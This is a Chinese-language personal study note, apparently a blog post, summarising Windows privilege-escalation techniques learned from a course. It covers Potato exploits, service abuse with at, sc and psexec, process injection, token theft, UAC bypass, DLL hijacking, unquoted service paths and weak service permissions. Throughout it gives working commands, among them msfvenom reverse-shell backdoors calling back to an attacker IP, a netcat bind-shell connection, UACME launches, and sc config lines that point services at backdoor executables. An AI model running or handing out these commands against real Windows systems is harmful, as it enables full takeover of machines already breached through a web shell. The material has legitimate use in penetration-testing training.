Windows提权小结

前言

​ 最近重新学了一下xiaodi的提权课程,总结总结

土豆家族

低权限就行

个人感觉这部分应该是实战用的最多的了。

在我们获取WEB/数据库权限的时候,可以将低权限的服务用户提升为“NT AUTHORITY\SYSTEM”特权。拿到shell 上传🥔上去 然后点就ok了 (点鼠标的🐒

OK的就是比较好用的🥔
https://mp.weixin.qq.com/s/OW4ybuqtErh_ovkTWLSr8w

SweetPotato        OK
RoguePotato
BadPotato          OK
EfsPotato          OK
GodPotato          OK
PetitPotato        OK
MultiPotato
CandyPotato
RasmanPotato       OK
CoercedPotato
JuicyPotatoNG
PrintNotifyPotato  OK


GodPotato
https://github.com/BeichenDream/GodPotato
SweetPotato
https://github.com/CCob/SweetPotato
RoguePotato
https://github.com/antonioCoco/RoguePotato
BadPotato
https://github.com/BeichenDream/BadPotato
EfsPotato
https://github.com/zcgonvh/EfsPotato
MultiPotato
https://github.com/S3cur3Th1sSh1t/MultiPotato
CandyPotato
https://github.com/klezVirus/CandyPotato
RasmanPotato
https://github.com/crisprss/RasmanPotato
PetitPotato
https://github.com/wh0amitz/PetitPotato
JuicyPotatoNG
https://github.com/antonioCoco/JuicyPotatoNG
PrintNotifyPotato
https://github.com/BeichenDream/PrintNotifyPotato
CoercedPotato
https://github.com/Prepouce/CoercedPotato

手工提权

一般都是用工具 手工遇到的情况复杂多变 (我是工具小子🤡

先用 systeminfo获得基本信息

2、补丁筛选

https://i.hacking8.com/tiquan (网站

https://github.com/bitsadmin/wesng (exe)

python wes.py systeminfo.txt --color

python wes.py systeminfo.txt --color -i "Elevation of Privilege"

3、EXP获取执行

KernelHub 针对常用溢出编号指定找EXP

Poc-in-Github 针对年份及编号指定找EXP

exploitdb 针对类型及关键说明指定找EXP

https://github.com/Ascotbe/Kernelhub

https://github.com/nomi-sec/PoC-in-GitHub

https://gitlab.com/exploit-database/exploitdb

第三方软件提权

感觉用处不大 -- 用cs上线了 在cs上面的插件操作

服务启动AT&SC 提权

在administrators权限下进行 到system

1、at命令提权的原理

at命令是一个计划命令,可以在规定时间完成一些操作,这个命令调用system权限。

适用版本:Win2000 & Win2003 & XP中还是存在的,在Win7 以后被剔除.

当我们拿到administrators的用户,通过连接上服务器后,可以通过at命令来进行本地提权。

提权命令:

at 21:00 /interactive cmd (在21:00分生成一个交互式的System权限的cmd)

2、sc

是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于控制面板中管理工具项中的服务

适用版本:基本都适用

#创建一个名叫syscmd的新的交互式的cmd执行服务 (执行后门)

sc Create syscmd1 binPath= "cmd /K start" type= own type= interact

sc Create xiaodi binPath= "d:\artifact.exe"

#运行服务

sc start syscmd1

sc start xiaodi

远程控制(提权)

在administrators权限下进行 先把软件下载然后上传到服务器

ps

适用版本:基本可以

但是需要下这个工具包 。

https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools

#调用运行cmd

psexec.exe -accepteula -s -i -d cmd

psexec.exe -accepteula -s -i -d artifact.exe

进程注入(降权 提权

在administrators权限下进行

相当于开了一后门,注入到其他exe进程下!(webshell 用户组权限 做不了 )

MSF

本地权限

ps //查看进程 找到system权限的进程

migrate PID //迁移对应PID

cs

ps //查看进程

inject PID //注入对应PID

  • Win2008以前版本 -Test in Win2k3-本地权限-本地虚拟机

pinjector -l

pinjector -p 420 cmd 3333

nc 192.168.46.149 3333

令牌窃取(降权 提权

在administrators权限下进行

假冒令牌可以假冒一个网络中的另一个用户进行各类操作。

所以当一个攻击者需要域管理员的操作权限时候,需通过假冒域管理员的令牌进行攻击。


MSF

msfvenom -p windows/meterpreter/reverse_tcp LHOST=1 LPORT=3333 -f exe -o msf.exe (生成个后门exe)

use incognito

list_tokens -u

impersonate_token "NT AUTHORITY\SYSTEM"

cs

ps //查看进程

steal_token PID //窃取进程令牌

spawnu PID //窃取进程令牌上线

为什么降权?

在域环境的情况下 administrators权限很尴尬 他看不到域有什么 没法与域通讯(不在域类) 所以要提权 or 降权

  • 提权system(脱管了)与内网交互

  • 降权到域用户与内网交互

BypassUAC

为了远程执行目标的exe或者bat可执行文件绕过此安全机制,以此叫BypassUAC

绕过项目:MSF内置,Powershell渗透框架,UACME项目(推荐)

开启UAC和未开启UAC时,MSF默认getsystem提权会受到影响(进程注入)

我win2016 不管什么等级都可以直接getsystem

1、MSF模块:

先 backgroud 然后set session设置为开始连的那个

-Test in Win7 本地电脑 本地权限

use exploit/windows/local/bypassua

-Test in Win10 本地电脑 本地权限

use exploit/windows/local/ask

use exploit/windows/local/bypassuac_sluihijack

use exploit/windows/local/bypassuac_silentcleanup

2、UACME项目:

https://github.com/hfiref0x/UACME

用 这个项目去调用 木马程序 进行上线可以得到更高的权限 在msf中就可以直接getsystem 你直接调用木马程序 可能就不能够直接getsystem

image-20231206160013066
image-20231206160040137

Akagi64.exe 41 msf1.exe

Akagi64.exe 编号 调用执行

直接调用上线image-20240117193742221

用项目调用上线

image-20240117193826001

DLL劫持提权应用

能不能进行操作看目录权限设置 决定

原理:Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:

1、应用程序加载的目录

2、C:\Windows\System32

3、C:\Windows\System 这些都动不了

4、C:\Windows

5、当前工作目录Current Working Directory,CWD

6、在PATH环境变量的目录(先系统后用户)

过程:信息收集-进程调试-制作dll并上传-替换dll-启动应用后成功

检测: ChkDllHijack 火绒剑

项目:https://github.com/anhkgg/anhkgg-tools

利用火绒剑进行进程分析加载DLL,一般寻程序DLL利用。

制作含木马的dll

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.192.129 lport=4444 -f dll -o xiaodi.dll

提前信息收集相关软件及DLL问题程序,本地调试成功后覆盖DLL实现利用

不带引号服务路径

能不能进行操作看目录权限设置 决定

不带引号+空格

https://blog.csdn.net/weixin_54977781/article/details/130460369

https://zhuanlan.zhihu.com/p/403098970?utm_id=0

配合MSF-MacroExpert服务

20201014150247256

https://blog.csdn.net/weixin_44032232/article/details/109073666

原理:如果没带引号 然后又有空格的目录就会认为是文件+参数 类似这样c:\program files.exe c:\program后面的files.exe 就会被认为是参数

用生成的后门exe 改个名字成 program.exe 放在c盘 重启服务就会调用它 然后就上线了

检测项目:JAWS 用他检测哪有不安全的路径 但是我本机 win2008 都无法运行ps1脚本 。 也可以用PEASS-ng这个项目 但是感觉挺鸡肋的就不想试了

我们用以下命令来搜索哪些服务路径没有包含引号:(我用不了

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

不安全的服务权限

实战基本上用不到

服务权限问题 可以修改服务对应的路径

原理:即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。

过程:检测服务权限配置-制作文件并上传-更改服务路径指向-调用后成功

这个攻击方法大致分两类

1.替换服务的二进制文件。这个方法较为简单,如果对服务二进制文件所在目录有修改权,那么我们完全可以创建一个恶意程序来替换原有的二进制文件服务。这个比较简单,而且基本上攻击流程和Trusted Service Paths如出一辙,同样也是比较被动地等待重启服务才能弹shell,就不再演示了。

2.修改服务的属性。如果我们能修改服务的 BINARY_PATH_NAME 属性(这个属性用于指向服务的二进制文件),我们就可以通过设置 BINARY_PATH_NAME 的值为系统命令,然后重启服务时我们的系统命令会被执行。

对于后者,我们需要一款工具来快速揭示出我们能修改哪些服务的属性。 这个工具我们采用accesschk.exe,它是微软产出的,基本不会报毒。

我们通过该工具执行以下命令

1、accesschk.exe -uwcqv "administrators" *

如果对某个服务有service_all_access或者以下权限,就说明能对其属性进行修改。

img

通过修改其binPath为恶意指令,然后等待管理员重启服务,我们的恶意指令就会被执行。

sc config "WinHttpAutoProxySvc" binpath="C:\Users\Administrator\Desktop\msf.exe"

sc start WinHttpAutoProxySvc